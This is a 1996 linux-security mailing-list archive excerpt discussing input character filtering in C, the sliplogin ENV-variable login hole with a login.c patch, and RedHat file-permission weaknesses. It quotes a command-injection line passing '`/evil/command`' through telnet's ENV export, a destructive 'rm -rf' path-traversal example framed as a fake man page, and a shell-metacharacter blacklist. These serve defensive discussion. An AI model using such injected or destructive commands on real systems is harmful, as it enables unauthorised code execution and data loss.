extra lines of code. Changing the C code to execute any command would be a single-line change. For that reason, the code will not be described in detail or released publically until patches are available for both Netscape 2.0 and the Java Development Kit. David Hopwood [email protected] ------- end ------- From [email protected] Wed Mar 6 11:50:40 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id LAA28169; Wed, 6 Mar 1996 11:50:39 -0500 Date: Wed, 6 Mar 1996 11:48:37 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: [linux-security] slp-charter [Forwarded e-mail from Dave G.] X-Quote-I-Like: "Trying to control information in the network age is about as successful as pissing into the wind." --Keith Henson (in "Computer Underground Digest"). X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list This follows up on some earlier posts here; the project and its associated mailing lists now look to officially be "alive." --Up. ------- start of forwarded message (RFC 934 encapsulation) ------- From: "Dave G." To: [email protected], [email protected] Subject: slp-charter Date: Tue, 5 Mar 1996 19:14:30 -0500 (EST) Reply-To: [email protected] slp-charter 03/05/96 Dave G. I. Intent - ---------- The Secure Linux Project exists to assist the linux community with security related issues. The functions it is to serve may range from advice for system administrators to helping distribution maintainers keep their products secure to development of security related applications and utilities. Another important function of the SLP is to review programs that may affect the security of a linux machine in order to provide an acceptable level of assurance to anyone installing packages that they will not compromise the security of their system. II. Mailing Lists - ------------------ There are three mailing lists to help various people involved in the Projects: SLP Announcements ----------------- Mailing List Address: [email protected] Subscription Address: [email protected] This list will be used to announce security related applications and reviews written by the SLP. Other developers should feel free to announce their products through this list as well. This list will be moderated. SLP Discussion -------------- Mailing List Address: [email protected] Subscription Address: [email protected] This is a place to discuss various ideas that may assist the SLP. Developers and others interested in security may wish to discuss ideas for future SLP projects on this list as well as discuss matters relating to linux security in general. This list will be loosely moderated. SLP Development --------------- This is for people actively developing security products for linux as part of the Secure Linux Project. This will deal with actual code development as part of the project and as such is limited to those actually participating in the implementations of the projects. General status regarding projects discussed here will be posted to slp-announce-list or slp-discuss-list, and upon completion all efforts of the list will be available to the linux community. If you feel that you should be a part of this list, please e-mail the SLP moderators privately. III. Resources - --------------- Red Hat has also been generous enough to provide us with resources so that we can have a permanent home for the Secure Linux Project. All of the work that will be done by the Secure Linux Project will be applicable to all distributions of linux, and does not favor any one distribution over another. IV. Contacts - -------------- Our official e-mail address for the project is: Secure Linux Project If you wish to contact one of the moderators individually, the e-mail addresses are as follows: David J. Meltzer Dave Goldsmith - -- To unsubscribe: mail -s unsubscribe [email protected] < /dev/null ------- end ------- linux-security/linux-security.960403100664 1767 1767 11445 6130545027 16647 0ustar majdommajdomFrom [email protected] Wed Apr 3 13:54:10 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id NAA00638; Wed, 3 Apr 1996 13:54:10 -0500 Date: Wed, 3 Apr 1996 13:02:59 -0500 From: *Hobbit* Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] two comments.. Cc: [email protected] Sender: [email protected] Precedence: list 1> syslog: If you block UDP 514 but log denied packets, you have not quite disabled the obvious flooding attack! 2> good chars vs. bad chars: Why do SO many people do checks of this sort in ways akin to the suggested fax-mgetty fix code if ( c == ' ' || c == '/' || c == '\\'|| c == '&' || c == ';' || c == '(' || c == ')' || c == '>' || c == '<' || c == '|' || c == '?' || c == '*' || c == '\''|| c == '"' || c == '`' ) ... where simply taking your character and using it as an index into a predefined good/bad array is a> faster and b> more easily configured for an "allow only known-good chars" basis rather than a "deny the bad chars we just happened to think of now" basis? Much less margin for errors such as allowing newlines and escapes and other trash, and [I tested this and shit you not] about double the speed of the above check. For example, this array [which some compilers may be unhappy about as given, oh well] roughly mirrors the above code: static unsigned char bflgs[] = { 1, 1, 1, 1, 1, 1, 1, 1, /* nul - ^G */ 1, 1, 1, 1, 1, 1, 1, 1, /* ^H - ^O */ 1, 1, 1, 1, 1, 1, 1, 1, /* ^P - ^W */ 1, 1, 1, 1, 1, 1, 1, 1, /* ^X - ^_ */ 0, 1, 0, 1, 1, 1, 0, 0, /* sp - ' */ 0, 0, 0, 1, 1, 1, 1, 0, /* ( - / */ 1, 1, 1, 1, 1, 1, 1, 1, /* 0 - 7 */ 1, 1, 1, 0, 0, 1, 0, 0, /* 8 - ? */ 0, 1, 1, 1, 1, 1, 1, 1, /* @ - G */ 1, 1, 1, 1, 1, 1, 1, 1, /* H - O */ 1, 1, 1, 1, 1, 1, 1, 1, /* P - W */ 1, 1, 1, 1, 0, 1, 1, 1, /* X - _ */ 0, 1, 1, 1, 1, 1, 1, 1, /* ` - g */ 1, 1, 1, 1, 1, 1, 1, 1, /* h - o */ 1, 1, 1, 1, 1, 1, 1, 1, /* p - w */ 1, 1, 1, 1, 0, 1, 0, 0 /* x - del */ }; /* bflgs */ and characters are easily sanitized/checked/whatever by or-ing out the high bit from the character in question and doing something like register unsigned char q; register int x; for (x = 0; x <= len; x++) { q = (unsigned char) (string[x] & 0x7f); /* rip hibits */ if (q == 0) break; /* end of string */ if (bflgs[q] == 0) { appropriate code /* bad char, no donut */ } else { appropriate code /* good char, DTRT */ } } /* for */ You can also assign other meanings inside the array, such as "good as is", "no-questions-asked-BAD", "must superquote for the shell", "replace with something innocuous", etc, and switch appropriately. All this really strikes me as C 101, but I see an awful lot of gnarly code kicking around that tries to accomplish similar goals in inelegant and inefficient ways. The fax-getty bandaid took the cake for me, so I whipped up a comparative speed test for both methods. Looking at the output assembler is alone convincing, before even running the test. The above array would ideally begin life in "completely anal" mode, and have other characters made "valid" as needed for specific applications. static unsigned char bflgs[] = { 0, 0, 0, 0, 0, 0, 0, 0, /* nul - ^G */ 0, 0, 0, 0, 0, 0, 0, 0, /* ^H - ^O */ 0, 0, 0, 0, 0, 0, 0, 0, /* ^P - ^W */ 0, 0, 0, 0, 0, 0, 0, 0, /* ^X - ^_ */ 0, 0, 0, 0, 0, 0, 0, 0, /* sp - ' */ 0, 0, 0, 0, 0, 0, 0, 0, /* ( - / */ 1, 1, 1, 1, 1, 1, 1, 1, /* 0 - 7 */ 1, 1, 0, 0, 0, 0, 0, 0, /* 8 - ? */ 0, 1, 1, 1, 1, 1, 1, 1, /* @ - G */ 1, 1, 1, 1, 1, 1, 1, 1, /* H - O */ 1, 1, 1, 1, 1, 1, 1, 1, /* P - W */ 1, 1, 1, 0, 0, 0, 0, 0, /* X - _ */ 0, 1, 1, 1, 1, 1, 1, 1, /* ` - g */ 1, 1, 1, 1, 1, 1, 1, 1, /* h - o */ 1, 1, 1, 1, 1, 1, 1, 1, /* p - w */ 1, 1, 1, 0, 0, 0, 0, 0 /* x - del */ }; /* bflgs */ It seems to me that another lousy 128 bytes of static storage is well worth the versatility such an approach would give someone writing security-sensitive code that deals with user input. Why, for example, should Web servers be handling any control characters other than newline elements at all? Why a thousand other similar questions about daemons in our daily lives?? _H* linux-security/linux-security.960404100664 1767 1767 31644 6131103705 16645 0ustar majdommajdomFrom [email protected] Thu Apr 4 14:11:29 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id OAA06721; Thu, 4 Apr 1996 14:11:29 -0500 From: [email protected] (Wietse Venema) Message-Id: <[email protected]> Subject: Re: [linux-security] two comments.. To: [email protected] (*Hobbit*) Date: Thu, 4 Apr 96 20:06:01 MET DST Cc: [email protected], [email protected] In-Reply-To: <[email protected]>; from "*Hobbit*" at Apr 3, 96 1:02 pm Organization: Eindhoven University of Technology, P.O. Box 513, 5600 MB Eindhoven, The Netherlands X-Phone: +31 40 2472989 X-Fax: +31 40 2465995 X-Private: +31 40 2433327 X-Mailer: ELM [version 2.3 PL11] Sender: [email protected] Precedence: list *Hobbit* wrote: [lookup tables that can fill an entire screen] Hobbit, with due respect, these tables make it rather difficult to spot in a glance what is being allowed and what not. In the problem at hand, speed is really not an issue; ease of verification should come first. Here is my suggestion, taken from the tcp wrapper. Any oversight in the set of allowed characters is easily identified. static char ok_chars[] = "1234567890!@%-_=+:,./\ abcdefghijklmnopqrstuvwxyz\ ABCDEFGHIJKLMNOPQRSTUVWXYZ"; ... for (cp = stuff; *(cp += strspn(cp, ok_chars)); /* */ ) *cp = '_'; Perhaps it is time to impose an ECO tax on every line of code written. Wietse From [email protected] Thu Apr 4 14:13:01 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id OAA06739; Thu, 4 Apr 1996 14:13:01 -0500 Message-Id: <[email protected]> X-Mailer: exmh version 1.6.4 10/10/95 To: [email protected] Subject: Re: [linux-security] sliplogin hole explanation In-Reply-To: Your message of "Sun, 31 Mar 1996 22:55:00 +0400." X-Face: ?[SgdCK/3y2^S^#Ju,mN&bNxP!~9j'muPv/>fb[OZ+=*R+("LZl2lteH'tx|I?ZG(F8"Ua) g'=UwC*Q'5345>19z[+[5ur'wt/$N;P/uX~S+e3AJW^&xqJ8Q|mO#.rCTbI2>AT|j:?/g~OJ&vaLvh }]['7Ub''3{dvA{F@G1gIDOG X-Url: http://funnelweb.utcc.utk.edu/~gh Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 02 Apr 1996 10:54:49 -0500 From: Robert Mark Waugh Sender: [email protected] Precedence: list -------- > In message Olaf Kirch writes: > > > > >You then log into your regular slip account, which executes sliplogin as > >your login shell. Sliplogin, in turn, runs the /etc/slip.login shell > >script using bash. At startup, bash evaluates *and expands* ENV to > >obtain the name of a startup file to use instead of .bashrc, and > >faithfully executes /evil/command. This security hole is easily avoided. When you compile bash, be sure to compile it with RESTRICTED_SHELL configured (config.h). Then, simple instead of invoking bash, invoke rbash or bash -r. This disables the ability for the user to: 1. cd 2. output redirection that could possibly be destructive 3. assign a new value to shell, env, or path 4. specify any pathname with / in the path. This restricts them to cwd commands. 5. using the exec builtin You then setup the PATH and other such things to do what you need it to do in their .bashrc. You can also specify in the shell entry specific resources to be loaded avoiding system defaults. This avoids the need to create specialized login shells that "zap" the passed environments, which is a bad idea if you have differing systems that aren't compatable on a binary level. You also might consider developing a heirarchal group algorithm, which, since standard UNIX doesn't handle nested group memberships, can be painful, yet, can provide excellent security procedures. -- =================================================================== | Robert Mark Waugh | [email protected] | Research Technology | oink. From [email protected] Thu Apr 4 14:17:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id OAA06760; Thu, 4 Apr 1996 14:17:13 -0500 From: [email protected] (Peter da Silva) Message-Id: <[email protected]> Subject: [linux-security] Re: BoS: Re: Vulnerabilities in mgetty+sendfax (root access by fax) To: [email protected] Date: Tue, 2 Apr 1996 17:29:41 -0600 (CST) Cc: [email protected], [email protected], [email protected] In-Reply-To: from "Gert Doering" at Apr 2, 96 10:05:14 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list > Hmmm. Not the proper place to fix it (but the easy one). The fax ID > should be passed to the calling functions "as-is", but they should > check better before calling "system()". IMHO, no program that runs as root should call "system". I know it's tough (and I don't always manage to do it right myself), but when I do call it it's *always* assumed to be dangerous. It should be possible to do: execlp(...); execl("/bin/sh", ...); barf(); (which used to be what everyone did anyway) [Mod: This thread is drifting away from Linux-related security and into the realm of "generally good system programming practices," so follow-ups, critiques, etc., along these lines should be directed to the posts' authors and not to the list. Thanks! --Jeff.] From [email protected] Thu Apr 4 14:31:40 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id OAA06853; Thu, 4 Apr 1996 14:31:40 -0500 From: Detlef Lannert Message-Id: <[email protected]> Subject: Re: [linux-security] two comments.. To: [email protected] (*Hobbit*) Date: Thu, 4 Apr 1996 15:01:51 +0200 (MET DST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "*Hobbit*" at Apr 3, 96 01:02:59 pm Reply-to: [email protected] X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 3675 Sender: [email protected] Precedence: list Hobbit wrote: [Mod: Quoting trimmed. --Jeff.] > static unsigned char bflgs[] = { > 1, 1, 1, 1, 1, 1, 1, 1, /* nul - ^G */ [ 14 lines of obvious contents deleted ] > 1, 1, 1, 1, 0, 1, 0, 0 /* x - del */ > }; /* bflgs */ > > and characters are easily sanitized/checked/whatever by or-ing out the > high bit from the character in question and doing something like > > register unsigned char q; > register int x; > > for (x = 0; x <= len; x++) { > q = (unsigned char) (string[x] & 0x7f); /* rip hibits */ > if (q == 0) > break; /* end of string */ > if (bflgs[q] == 0) { > appropriate code /* bad char, no donut */ > } else { > appropriate code /* good char, DTRT */ > } > } /* for */ Objection, Your Honour! (a) Not every machine uses us-ascii encoding internally. Those with, say, ebcdic are getting rare, but they still exist, and there may be other strange architectures as well. Posix does not make any assumptions about the specific order in which uc/lc letters, digits, etc. appear, and a sensible program should not either. (b) Not everyone uses the English alphabet. There are a few of us who sometimes uses those strange characters in the code range of 128..255. Even if full Unicode multibyte encodings are not supported, Latin-1 (ISO-8859-1) and the like should be acceptable. Just folding the upper half of the possible one-byte values onto the lower half and then indexing a table will produce, hmm, unsatisfactory results. [Mod: For both of these points it strikes me that such decisions--allowing extended character codes and addressing ASCII/EBCDIC/etc. issues--should be made case-by-case depending upon the intended use of the passed characters and the desired level of code portability, respectively. There isn't One Great Solution here, IMHO, so let's try not to "what if" this to death.... --Jeff.] Let me suggest a different approach. It might have other flaws -- I'm not a C guru and will be thankful for any corrections and/or improvements -- but it is quite short and, I hope, gets the code issue right. It burns a few more bytes of storage, but that shouldn't really matter in this age of the pentiums and megabytes. Here it goes: /* initialization */ unsigned char badchars[] = "'\n\e\"" /* or such */; unsigned char allchars[256] = { 0 }; int i; unsigned char *p; for (p = badchars; *p; p++) allchars[*p] = 1 /* or whatsoever */; /* some thousand lines later ... */ unsigned char string[...]; /* ... */ for (x = 0; x <= len; x++) { if (q = allchars[string[x]]) { /* handle a bad character */ } else { /* do something useful */ } } I agree with your further remarks on using such a table to denote various character classes, and on being restrictive wrt the acceptable control characters. But -- if at all possible -- let the >0x7f characters pass! Detlef -- Detlef Lannert +49-211-8113905 E-Mail: [email protected] PGP 2.x key available (finger [email protected]) "Ordnung ist etwas fuer Leute, die nicht eins sind mit der Welt." - Max Frisch From [email protected] Thu Apr 4 14:36:24 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id OAA06872; Thu, 4 Apr 1996 14:36:24 -0500 From: Adam Shostack Message-Id: <[email protected]> X-Organization: Brigham & Womens Hospital, A Teaching Affiliate of Harvard Medical School Subject: Re: BoS: Re: [linux-security] two comments.. To: [email protected] Date: Thu, 4 Apr 1996 09:36:33 -0500 (EST) Cc: [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "Detlef Lannert" at Apr 4, 96 03:01:51 pm X-PGP: 0xE794DA91 FD3C3450FEB4A0B8 18F2E72CA82D29B8 X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1236 Sender: [email protected] Precedence: list One of Hobbit's main points was that there are no bad characters; only characters not in the set of good characters. You should always check to see if the character is one that you expect, not one you think is bad. People forget about bad characters, but rarely include characters they can't handle in the set that they can. Also, please remember that best-of-security should be limited discussion. [Mod: And this thread has drifted away from Linux security as well. Also, quoting trimmed. --Jeff.] -- "It is seldom that liberty of any kind is lost all at once." -Hume From [email protected] Thu Apr 4 21:38:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id VAA09786; Thu, 4 Apr 1996 21:38:58 -0500 Date: Thu, 4 Apr 1996 19:08:24 -0500 From: *Hobbit* Message-Id: <[email protected]> To: [email protected], [email protected] Subject: [linux-security] good character, bad character Sender: [email protected] Precedence: list By no means did I mean to start a flamewar, and per charter, this is the last that BOS shall hear from me on the subject. My message was in large part a QUESTION, really, asking "why aren't people adapting a different philosophy toward character filtering?" The example given was just that, and certainly not meant to be a shining example of good coding style. I never *took* C 101, remember, I just hack at this stuff. I've always held the highest respect for Weitse's code as a solid and very readable presentation, and would recommend it to anyone seeking good examples. In fact I had that precise snippet of tcp_wrapper code, used to parse IDENTD responses if I remember correctly, in mind when thinking about this whole problem of user-supplied characters. Weitse's *philosophy* is the same one I'm advocating, and as he points out his approach is much easier to verify at a glance than my gnarly table. [Some more comments in the table might help, but I've got *my* ascii chart handy.] And I will certainly agree that a one-off run of something under inetd is rarely going to be a performance bottleneck. However, when one is trying to speed-tweak something like a high-volume web server that will be reading, checking, and massaging many lines of user input per second, the gnarly table approach might have its advantages. Whatever. The people writing web servers clearly aren't reading this list anyways, so what's the difference. _H* linux-security/linux-security.960405100664 1767 1767 4501 6131267000 16615 0ustar majdommajdomFrom [email protected] Fri Apr 5 14:01:18 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id OAA14573; Fri, 5 Apr 1996 14:01:18 -0500 Message-Id: <[email protected]> Subject: Re: [linux-security] good character, bad character To: [email protected] (*Hobbit*) Date: Fri, 5 Apr 1996 07:02:31 -0600 (CST) Cc: [email protected], [email protected] Reply-To: [email protected] (Igor Chudov) In-Reply-To: <[email protected]> from "*Hobbit*" at Apr 4, 96 07:08:24 pm From: [email protected] (Igor Chudov @ home) X-Mailer: ELM [version 2.4 PL24 ME7] Content-Type: text Sender: [email protected] Precedence: list [Mod: I'm forwarding this mainly because it takes a step toward bridging the gap between Wietse's and Hobbit's approaches. --Jeff.] *Hobbit* wrote: > > However, when one is trying to speed-tweak something like a high-volume > web server that will be reading, checking, and massaging many lines of user > input per second, the gnarly table approach might have its advantages. > Whatever. The people writing web servers clearly aren't reading this list > anyways, so what's the difference. > Reading all this interesting discussion, a thought occurred that there is a way to make you both right. I think that the method below (possibly implemented in a separate C file) may be widely used. #define MAX_CHAR 256 char * create_char_table( const char * good_chars ) { char * result = (char *) malloc( MAX_CHAR ); int i; if( result == NULL ) return 0; /* Malloc failed */ for( i=0; i < MAX_CHAR; i++ ) result[i] = 0; /* by default all are bad */ while( *good_chars ) result[*(good_chars++)] = 1; /* set all good chars */ return result; } #define GOOD_CHAR( c, table ) ((table)[c]) Usage: ... when initializing everything: char * good_characters = init_char_table( "abcdefghijklmopqrstuvwxyz" "ABCDEFGHIJKLMOPQRSTUVWXYZ" "0123456789+-,." ); and when the work is done: if( !GOOD_CHAR( some_string[i], good_characters ) ) some_string[i] = '_'; Your opinion? This is how I do filtering for incoming commands to the robomoderator program that I wrote. Works fast and is still readable. - Igor. linux-security/linux-security.960406100664 1767 1767 11405 6131533357 16652 0ustar majdommajdomFrom [email protected] Sat Apr 6 13:24:31 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id NAA01315; Sat, 6 Apr 1996 13:24:31 -0500 Message-Id: Date: Sat, 6 Apr 96 13:52 +0400 To: [email protected] Cc: [email protected] References: In-Reply-To: from Yury Shevchuk Organization: Program Systems Inst., Pereslavl-Zalessky, Russia From: [email protected] (Yury Shevchuk) Subject: Re: [linux-security] sliplogin hole explanation Lines: 119 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Length: 4102 Sender: [email protected] Precedence: list >In message Olaf Kirch writes: >>We all know that you can pass most environment variables to a login >>shell when started through telnetd. Assuming you have the password for a >>sliplogin account on a Linux box, you can pass the ENV variable in this >>fashion. >> >>The attack goes something like this: >> >>ENV='`/evil/command`' telnet >>telnet> environ export ENV >>telnet> open targethost >> >>You then log into your regular slip account, which executes sliplogin as >>your login shell. Sliplogin, in turn, runs the /etc/slip.login shell >>script using bash. At startup, bash evaluates *and expands* ENV to >>obtain the name of a startup file to use instead of .bashrc, and >>faithfully executes /evil/command. > >This is more than only a sliplogin hole! The same attack is >applicable to every account with shell script as a login shell. Of >course, you won't right away get the root shell, as in sliplogin's >case, just a shell with the account's uid, but... I think I have found a way to close this and related holes. The solution is to patch /bin/login to destroy environment in spite of the -p option passed from telnetd, if the login shell is not in /etc/shells. Grounds: if your shell is in /etc/shells, then your password gives you full shell access to the system, and environment tricks won't buy you more. The tricks are only useful when your login shell is not a normal shell, but rather a script or a program which gives you specific restricted access to the system, and you want to fool it to execute arbitrary commands on the system for you. So by clobbering environment when login shell is not in /etc/shells we preserve functionality for normal accounts, and remove the danger for restricted accounts. Note that this approach requires that your /etc/shells contents agreed with the definition of /etc/shells: only general shells should be listed there. Sometimes people violate this rule: for example, a typical advise for getting ftp-only accounts work with wu-ftpd is "set the login shell to /bin/false and add /bin/false to /etc/shells, or wu-ftpd won't let you in". This suggestion is a kludge; the proper fix is to change wu-ftpd to bypass /etc/shells check for chrooted guest accounts. -- Yury Shevchuk -------------------------------------------------------------------------- This is a patch to util-linux-2.5/login-utils/login.c which closes the security hole that exploits interpretation of IFS, ENV, etc. by scripts and custom programs used as login shells, for example /sbin/sliplogin or /bin/false. --- login.c 1996/04/06 07:25:58 1.1 +++ login.c 1996/04/06 08:35:45 1.2 @@ -156,10 +156,11 @@ void badlogin P_((char *name)); char *stypeof P_((char *ttyid)); void checktty P_((char *user, char *tty, struct passwd *pwd)); void getstr P_((char *buf, int cnt, char *err)); void sleepexit P_((int eval)); +int general_shell P_((char *shell)); #undef P_ #ifdef KERBEROS #include #include @@ -674,12 +675,16 @@ if(!((ep = getenv("TERM")) && (termenv = strdup(ep)))) termenv = "dumb"; } - /* destroy environment unless user has requested preservation */ - if (!pflag) + /* destroy environment unless user has requested preservation. + Also destroy environment when login shell is not a normal + shell, to disable all tricks that use IFS, ENV, etc. to get + full shell access out of shell scripts used as specialized + login shells. */ + if (!pflag || !general_shell(pwd->pw_shell)) { environ = (char**)malloc(sizeof(char*)); memset(environ, 0, sizeof(char*)); } @@ -994,5 +999,26 @@ { sleep((unsigned int)5); exit(eval); } +/* return 1 if `shell' is a general shell (i.e. found in /etc/shells); + 0 otherwise. */ + +int +general_shell(shell) + char *shell; +{ + char *p; + int ret = 0; + + setusershell (); + while((p = getusershell ())) { + if (strcmp (p, shell) == 0) { + ret = 1; + break; + } + } + endusershell (); + + return ret; +} -------------------------------------------------------------------------- linux-security/linux-security.960407100664 1767 1767 5147 6131654524 16641 0ustar majdommajdomFrom [email protected] Sun Apr 7 00:57:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id AAA05657; Sun, 7 Apr 1996 00:57:32 -0500 Message-Id: Date: Sun, 7 Apr 96 09:13 +0400 To: Peter Orbaek Cc: [email protected], [email protected] References: <[email protected]> In-Reply-To: <[email protected]>; from Peter Orbaek at Sat, 06 Apr 96 13:39:26 EST Organization: Program Systems Inst., Pereslavl-Zalessky, Russia From: [email protected] (Yury Shevchuk) Subject: Re: [linux-security] sliplogin hole explanation Lines: 41 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Length: 1768 Sender: [email protected] Precedence: list In message <[email protected]> Peter Orbaek writes: >This last paragraph indicates to me that you are changing one program >(login) to fix a problem with another (bash). Why not fix bash instead so >it won't use ENV for login shells or somesuch? Yes, it's possible -- but to make a robust system this way you'll have to fix possibly exploitable environment dependencies in every interpreter on the system that can be used for login scripts: bash, ash, ksh, csh (oh yes), I'm afraid even perl may be vulnerable via PERLLIB... Also, once an interpreter is called, I can't see an easy way to find out whether an interpreter is called from safe or unsafe environment, so it's hard to tell if we should get suspicious on ENV, IFS, and other environment variables or not. On the other hand, /bin/login is a good place to fix because it is at the junction and has all necessary info handy -- and after all, login's duty is to let you in but leave your weapons out the door. :-) > Or tell people that they >should avoid bash for login scripts and should use something like >perl with tainting turned on. , or be cautious to use a wrapper around shell scripts to clean the evniroment before calling shell. Yes, it's a solution too. But I think that a "tell people" solution is always worse than to fix one program and forget about the problem. I also think that the whole hole is due to the fact that people intuitively expect to wake up in safe environment when called from login, and this expectation fails. So it's login that is wrong, and it's login that should be fixed. Regards, -- Yury > - Peter [please Cc: me if you discuss this on the security list, > I'm not yet subscribed to that one] > linux-security/linux-security.960409100664 1767 1767 2404 6132476227 16637 0ustar majdommajdomFrom [email protected] Tue Apr 9 11:04:53 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA16168; Tue, 9 Apr 1996 11:04:53 -0400 Message-Id: From: Lars Wirzenius To: [email protected] Subject: Re: [linux-security] good character, bad character In-reply-to: Your message of "Fri, 05 Apr 1996 07:02:31 MDT." <[email protected]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 07 Apr 1996 20:51:01 +0300 Sender: [email protected] Precedence: list Igor Chudov @ home: > #define GOOD_CHAR( c, table ) ((table)[c]) This is probably not on topic for the list, but in machines that have signed characters, you should never use a plain char as an index unless you're really sure the character is non-negative. Otherwise cast it to unsigned char or do something else to fix it. -- -- Lars Wirzenius MIME and PGP mail welcome. Key: finger @kruuna, or check keyservers. KeyID: 4CBA92D1 Fingerprint: E7 FA 89 85 6D 9B 78 1D F5 30 EB FB D8 11 CA 3F Publib 0.5: ftp://ftp.cs.helsinki.fi/pub/Software/Local/Publib/ linux-security/linux-security.960412100664 1767 1767 22141 6133473720 16645 0ustar majdommajdomFrom [email protected] Fri Apr 12 11:33:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA11240; Fri, 12 Apr 1996 11:33:27 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: [linux-security] Security problems in RedHat 3.0.3... To: [email protected] Date: Wed, 10 Apr 1996 14:46:16 -0400 (EDT) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Hmmm...after running 'ftp-install' on RedHat 3.0.3, I find two disturbing things--neither of which is an exploitable security hole per se, but they can be combined with bugs that would otherwise be harmless to become vulnerabilities. The first problem regards file permissions and the contents of the default /etc/group file, which can be used to turn harmless bugs into root access. Problem 1. 'root' is a member of several groups in /etc/group, and there are lots of files like this: -rw-rw-r-- 1 root root 357544 Feb 27 05:02 /usr/bin/... This means that if any program run as root fails to do initgroups() properly when running an unprivileged child, it will give away write access to these files. The initgroups() bug has been a problem in the past with several programs like cfingerd (.fingerrc files were run with the right e?[ug]id, but the group list was root's), cron (configure failed to detect initgroups() for some reason, and just never called it), xdm, and so on. Now, arguably, the correct solution is to fix all these programs and educate developers about good code design and testing; however, this hasn't worked very well in the past and certainly won't get any better in the future. Many (though not enough) developers understand and test for obvious problems like child processes running as root when they shouldn't be; fewer check for problems with group access; and even fewer bother with initgroups() and all of its less-portable clones and operating system idiosyncrasies. If someone compromises an NFS client with write access, they can often have any group ID they want to use on any file they can access on the NFS server. Also, if you can get access to 'bin' or 'daemon' (both in group 'root' in RedHat), then you can modify files in group root as well, if you have write permission. Since there are so many of these programs, and the new ones have this sort of problem all the time, I suggest the following additional measures: Fix 1: delete the word 'root' every time it appears to the right of a colon in /etc/group. Think about it: the root user doesn't *need* group access to *anything*. The supplementary groups list for daemons run as root should really be empty, because less-privileged child processes might accidentally inherit it. Fix 2: Remove group write permissions from anything (files and directories) that doesn't *need* them. This includes just about everything under /usr. Fix 1 and fix 2 combined would be even better. I use a policy for files in /usr/bin similar to "all files in /usr/bin are owned by root, group root, mode 555, unless they must be setuid and/or setgid, in which case they become one of 6555, 4555, or 2555 and owner or group changes accordingly". This makes it easy to spot files that don't fit the pattern. Giving binaries default permissions like 4111 (as opposed to 4555, i.e. denying read permission) is not even marginally effective as a security measure--if you installed a FooBar 4.5.6 distribution, then someone else can get one and read the files in their copy of the same distribution. It is probably effective as a copy-protection measure, but copy-protection is inappropriate for freely available software (which most of RedHat is). It might be effective if one made *all* files mode 4111 *and* made local modifications to the system, since any vulnerabilities created or removed by these modifications would be harder to discover. This is security through obscurity: no vulnerabilities are fixed by the permission change, they merely take a few minutes longer to find, and the attacker must find them through active experimentation. For the security-conscious even measures that delay rather than prevent are useful. Problem 2: I typed 'man 8 somefile' (program name changed to protect the innocent ;-) and found this in /var/catman/cat8: -r--rw-r-- 1 zblaxell man 11252 Apr 10 10:47 somefile.8.gz This is a little disturbing; it means that any user can rewrite man pages if they read them before any other user did. This can lead to all sorts of entertaining social engineering attacks against neophyte users (or worse, sysadmins). Imagine: "To restart the news server after modifying the configuration file, be sure to remove any state files and purge the news database. You can do this by typing 'rm -rf /var/spool/news/../../../ &' as root--the news server daemon will rebuild its state files automatically when it is next started. This can take a long time (several hours) on busy news servers." Fix 1: make the man program operate setuid instead of setgid. This will prevent users from having access to the cat files. This also brings up a number of runtime environment issues: has the user set an alarm() before execve()ing man? What happens to the catman page if the user kills the man process half-way through? What if the man page formatting program (which runs under the user's own privileges) is subverted through environment variables (which aren't stripped out whatever RedHat's using as /usr/bin/man) or process tracing? Fix 2: rm -rf /var/catman, chmod ug-s /usr/bin/man, and do without a man page cache. Linux on a P133 can format the perl4 man page in less than five seconds, and computers only get faster. Fix 3: implement a remote man page daemon from inetd: rman stream tcp nowait man:man /usr/sbin/tcpd in.rmand in.rmand can be a simple perl script that allows /(\d\w*? )\w[\w.+-]*/ as a query (optional digits followed by letters followed by space, then an alphanumeric character, then more alphanumeric characters, dots, dashes, and + characters), runs 'man' as user 'man' (or other non-root alternative) group 'man', with no pager. Access control to 'rmand' can be provided by 'tcpd', by firewall configuration, by implementing it instead with a Unix-domain socket, or by adding support for an access list to rmand itself. Once this is set up, then 'man' can be stripped of set[ug]id bits (and should refuse to run when given them, explaining its sordid past and what to do instead). The 'man' program would then contact 'rmand' for all 